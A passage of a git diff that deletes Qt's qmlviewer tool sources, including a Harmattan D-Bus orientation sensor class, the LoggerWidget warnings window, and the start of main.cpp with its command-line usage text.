ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "deviceorientation.h" -#include -#include - -#define ORIENTATION_SERVICE QStringLiteral("com.nokia.SensorService") -#define ORIENTATION_PATH QStringLiteral("/org/maemo/contextkit/Screen/TopEdge") -#define CONTEXT_INTERFACE QStringLiteral("org.maemo.contextkit.Property") -#define CONTEXT_CHANGED QStringLiteral("ValueChanged") -#define CONTEXT_SUBSCRIBE QStringLiteral("Subscribe") -#define CONTEXT_UNSUBSCRIBE QStringLiteral("Unsubscribe") -#define CONTEXT_GET QStringLiteral("Get") - - -class HarmattanOrientation : public DeviceOrientation -{ - Q_OBJECT -public: - HarmattanOrientation() - : o(UnknownOrientation), sensorEnabled(false) - { - resumeListening(); - // connect to the orientation change signal - bool ok = QDBusConnection::systemBus().connect(ORIENTATION_SERVICE, ORIENTATION_PATH, - CONTEXT_INTERFACE, - CONTEXT_CHANGED, - this, - SLOT(deviceOrientationChanged(QList,quint64))); -// qDebug() << "connection OK" << ok; - QDBusMessage reply = QDBusConnection::systemBus().call( - QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH, - CONTEXT_INTERFACE, CONTEXT_GET)); - if (reply.type() != QDBusMessage::ErrorMessage) { - QList args; - qvariant_cast(reply.arguments().at(0)) >> args; - deviceOrientationChanged(args, 0); - } - } - - ~HarmattanOrientation() - { - // unsubscribe from the orientation sensor - if (sensorEnabled) - QDBusConnection::systemBus().call( - QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH, - CONTEXT_INTERFACE, CONTEXT_UNSUBSCRIBE)); - } - - inline Orientation orientation() const - { - return o; - } - - void setOrientation(Orientation) - { - } - - void pauseListening() { - if (sensorEnabled) { - // unsubscribe from the orientation sensor - QDBusConnection::systemBus().call( - QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH, - CONTEXT_INTERFACE, CONTEXT_UNSUBSCRIBE)); - sensorEnabled = false; - } - } - - void resumeListening() { - if (!sensorEnabled) { - // subscribe to the orientation sensor - QDBusMessage reply = QDBusConnection::systemBus().call( - QDBusMessage::createMethodCall(ORIENTATION_SERVICE, ORIENTATION_PATH, - CONTEXT_INTERFACE, CONTEXT_SUBSCRIBE)); - - if (reply.type() == QDBusMessage::ErrorMessage) { - qWarning("Unable to retrieve device orientation: %s", qPrintable(reply.errorMessage())); - } else { - sensorEnabled = true; - } - } - } - -private Q_SLOTS: - void deviceOrientationChanged(QList args,quint64) - { - if (args.count() == 0) - return; - Orientation newOrientation = toOrientation(args.at(0).toString()); - if (newOrientation != o) { - o = newOrientation; - emit orientationChanged(); - } -// qDebug() << "orientation" << args.at(0).toString(); - } - -private: - static Orientation toOrientation(const QString &nativeOrientation) - { - if (nativeOrientation == QLatin1String("top")) - return Landscape; - else if (nativeOrientation == QLatin1String("left")) - return Portrait; - else if (nativeOrientation == QLatin1String("bottom")) - return LandscapeInverted; - else if (nativeOrientation == QLatin1String("right")) - return PortraitInverted; - return UnknownOrientation; - } - -private: - Orientation o; - bool sensorEnabled; -}; - -DeviceOrientation* DeviceOrientation::instance() -{ - static HarmattanOrientation *o = new HarmattanOrientation; - return o; -} - -#include "deviceorientation_harmattan.moc" diff --git a/tools/qmlviewer/loggerwidget.cpp b/tools/qmlviewer/loggerwidget.cpp deleted file mode 100644 index 02ee8c6d6b..0000000000 --- a/tools/qmlviewer/loggerwidget.cpp +++ /dev/null @@ -1,201 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "loggerwidget.h" - -QT_BEGIN_NAMESPACE - -LoggerWidget::LoggerWidget(QWidget *parent) : - QMainWindow(parent), - m_visibilityOrigin(SettingsOrigin) -{ - setAttribute(Qt::WA_QuitOnClose, false); - setWindowTitle(tr("Warnings")); - - m_plainTextEdit = new QPlainTextEdit(); - setCentralWidget(m_plainTextEdit); - m_noWarningsLabel = new QLabel(m_plainTextEdit); - m_noWarningsLabel->setText(tr("(No warnings)")); - m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter); - QVBoxLayout *layout = new QVBoxLayout; - layout->addWidget(m_noWarningsLabel); - m_plainTextEdit->setLayout(layout); - connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel())); - - readSettings(); - setupPreferencesMenu(); -} - -void LoggerWidget::append(const QString &msg) -{ - m_plainTextEdit->appendPlainText(msg); - - if (!isVisible() && (defaultVisibility() == AutoShowWarnings)) - setVisible(true); -} - -LoggerWidget::Visibility LoggerWidget::defaultVisibility() const -{ - return m_visibility; -} - -void LoggerWidget::setDefaultVisibility(LoggerWidget::Visibility visibility) -{ - if (m_visibility == visibility) - return; - - m_visibility = visibility; - m_visibilityOrigin = CommandLineOrigin; - - m_preferencesMenu->setEnabled(m_visibilityOrigin == SettingsOrigin); -} - -QMenu *LoggerWidget::preferencesMenu() -{ - return m_preferencesMenu; -} - -QAction *LoggerWidget::showAction() -{ - return m_showWidgetAction; -} - -void LoggerWidget::readSettings() -{ - QSettings settings; - QString warningsPreferences = settings.value(QLatin1String("warnings"), QLatin1String("hide")).toString(); - if (warningsPreferences == QLatin1String("show")) { - m_visibility = ShowWarnings; - } else if (warningsPreferences == QLatin1String("hide")) { - m_visibility = HideWarnings; - } else { - m_visibility = AutoShowWarnings; - } -} - -void LoggerWidget::saveSettings() -{ - if (m_visibilityOrigin != SettingsOrigin) - return; - - QString value = QLatin1String("autoShow"); - if (defaultVisibility() == ShowWarnings) { - value = QLatin1String("show"); - } else if (defaultVisibility() == HideWarnings) { - value = QLatin1String("hide"); - } - - QSettings settings; - settings.setValue(QLatin1String("warnings"), value); -} - -void LoggerWidget::warningsPreferenceChanged(QAction *action) -{ - Visibility newSetting = static_cast(action->data().toInt()); - m_visibility = newSetting; - saveSettings(); -} - -void LoggerWidget::showEvent(QShowEvent *event) -{ - QWidget::showEvent(event); - emit opened(); -} - -void LoggerWidget::closeEvent(QCloseEvent *event) -{ - QWidget::closeEvent(event); - emit closed(); -} - -void LoggerWidget::setupPreferencesMenu() -{ - m_preferencesMenu = new QMenu(tr("Warnings")); - QActionGroup *warnings = new QActionGroup(m_preferencesMenu); - warnings->setExclusive(true); - - connect(warnings, SIGNAL(triggered(QAction*)), this, SLOT(warningsPreferenceChanged(QAction*))); - - QAction *showWarningsPreference = new QAction(tr("Show by default"), m_preferencesMenu); - showWarningsPreference->setCheckable(true); - showWarningsPreference->setData(LoggerWidget::ShowWarnings); - warnings->addAction(showWarningsPreference); - m_preferencesMenu->addAction(showWarningsPreference); - - QAction *hideWarningsPreference = new QAction(tr("Hide by default"), m_preferencesMenu); - hideWarningsPreference->setCheckable(true); - hideWarningsPreference->setData(LoggerWidget::HideWarnings); - warnings->addAction(hideWarningsPreference); - m_preferencesMenu->addAction(hideWarningsPreference); - - QAction *autoWarningsPreference = new QAction(tr("Show for first warning"), m_preferencesMenu); - autoWarningsPreference->setCheckable(true); - autoWarningsPreference->setData(LoggerWidget::AutoShowWarnings); - warnings->addAction(autoWarningsPreference); - m_preferencesMenu->addAction(autoWarningsPreference); - - switch (defaultVisibility()) { - case LoggerWidget::ShowWarnings: - showWarningsPreference->setChecked(true); - break; - case LoggerWidget::HideWarnings: - hideWarningsPreference->setChecked(true); - break; - default: - autoWarningsPreference->setChecked(true); - } -} - -void LoggerWidget::updateNoWarningsLabel() -{ - m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0); -} - -QT_END_NAMESPACE diff --git a/tools/qmlviewer/loggerwidget.h b/tools/qmlviewer/loggerwidget.h deleted file mode 100644 index 8ec25f0241..0000000000 --- a/tools/qmlviewer/loggerwidget.h +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LOGGERWIDGET_H -#define LOGGERWIDGET_H - -#include -#include - -QT_BEGIN_NAMESPACE - -class QPlainTextEdit; -class QLabel; -class QMenu; -class QAction; - -class LoggerWidget : public QMainWindow { - Q_OBJECT -public: - LoggerWidget(QWidget *parent=0); - - enum Visibility { ShowWarnings, HideWarnings, AutoShowWarnings }; - - Visibility defaultVisibility() const; - void setDefaultVisibility(Visibility visibility); - - QMenu *preferencesMenu(); - QAction *showAction(); - -public slots: - void append(const QString &msg); - void updateNoWarningsLabel(); - -private slots: - void warningsPreferenceChanged(QAction *action); - void readSettings(); - void saveSettings(); - -protected: - void showEvent(QShowEvent *event); - void closeEvent(QCloseEvent *event); - -signals: - void opened(); - void closed(); - -private: - void setupPreferencesMenu(); - - QMenu *m_preferencesMenu; - QAction *m_showWidgetAction; - QPlainTextEdit *m_plainTextEdit; - QLabel *m_noWarningsLabel; - enum ConfigOrigin { CommandLineOrigin, SettingsOrigin }; - ConfigOrigin m_visibilityOrigin; - Visibility m_visibility; -}; - -QT_END_NAMESPACE - -Q_DECLARE_METATYPE(LoggerWidget::Visibility) - -#endif // LOGGERWIDGET_H diff --git a/tools/qmlviewer/main.cpp b/tools/qmlviewer/main.cpp deleted file mode 100644 index 58ea4db595..0000000000 --- a/tools/qmlviewer/main.cpp +++ /dev/null @@ -1,566 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarative.h" -#include "qmlruntime.h" -#include "qdeclarativeengine.h" -#include "loggerwidget.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include "qdeclarativetester.h" - -QT_USE_NAMESPACE - -QtMsgHandler systemMsgOutput = 0; - -static QDeclarativeViewer *openFile(const QString &fileName); -static void showViewer(QDeclarativeViewer *viewer); - -QString warnings; -void exitApp(int i) -{ -#ifdef Q_OS_WIN - // Debugging output is not visible by default on Windows - - // therefore show modal dialog with errors instead. - if (!warnings.isEmpty()) { - QMessageBox::warning(0, QApplication::translate("QDeclarativeViewer", "Qt QML Viewer"), warnings); - } -#endif - exit(i); -} - -QWeakPointer logger; -static QAtomicInt recursiveLock(0); - -void myMessageOutput(QtMsgType type, const char *msg) -{ - QString strMsg = QString::fromLatin1(msg); - - if (!QCoreApplication::closingDown()) { - if (!logger.isNull()) { - if (recursiveLock.testAndSetOrdered(0, 1)) { - QMetaObject::invokeMethod(logger.data(), "append", Q_ARG(QString, strMsg)); - recursiveLock.store(0); - } - } else { - warnings += strMsg; - warnings += QLatin1Char('\n'); - } - } - - if (systemMsgOutput) { - systemMsgOutput(type, msg); - } else { // Unix - fprintf(stderr, "%s\n", msg); - fflush(stderr); - } -} - -static QDeclarativeViewer* globalViewer = 0; - -// The qml file that is shown if the user didn't specify a QML file -QString initialFile = QLatin1String("qrc:/startup/startup.qml"); - -void usage() -{ - qWarning("Usage: qmlviewer [options] "); - qWarning(" "); - qWarning(" options:"); - qWarning(" -v, -version ............................. display version"); - qWarning(" -frameless ............................... run with no window frame"); - qWarning(" -maximized................................ run maximized"); - qWarning(" -fullscreen............................... run fullscreen"); - qWarning(" -stayontop................................ keep viewer window on top"); - qWarning(" -sizeviewtorootobject .................... the view resizes to the changes in the content"); - qWarning(" -sizerootobjecttoview .................... the content resizes to the changes in the view (default)"); - qWarning(" -qmlbrowser .............................. use a QML-based file browser"); - qWarning(" -warnings [show|hide]..................... show warnings in a separate log window"); - qWarning(" -recordfile ..................... set video recording file"); - qWarning(" - ImageMagick 'convert' for GIF)"); - qWarning(" - png file for raw frames"); - qWarning(" - 'ffmpeg' for other formats"); - qWarning(" -recorddither ordered|threshold|floyd .... set GIF dither recording mode"); - qWarning(" -recordrate ........................ set recording frame rate"); - qWarning(" -record arg .............................. add a recording process argument"); - qWarning(" -autorecord [from-] ...... set recording to start and stop"); - qWarning(" -devicekeys .............................. use numeric keys (see F1)"); - qWarning(" -dragthreshold .................... set mouse drag threshold size"); - qWarning(" -netcache ......................... set disk cache to size bytes"); - qWarning(" -translation ........... set the language to run in"); - qWarning(" -I ........................... prepend to the module import search path,"); - qWarning(" display path if is empty"); - qWarning(" -P ........................... prepend to the plugin search path"); -#if defined(Q_OS_MAC) - qWarning(" -no-opengl ............................... don't use a QGLWidget for the viewport"); - qWarning(" -opengl .................................. use a QGLWidget for the viewport (default)"); -#else - qWarning(" -no-opengl ............................... don't use a QGLWidget for the viewport (default)"); - qWarning(" -opengl .................................. use a QGLWidget for the viewport"); -#endif - qWarning(" -script ........................... set the script to use"); - qWarning(" -scriptopts |help ............... set the script options to use"); - - qWarning(" "); - qWarning(" Press F1 for interactive help"); - - exitApp(1); -} - -void scriptOptsUsage() -{ - qWarning("Usage: qmlviewer -scriptopts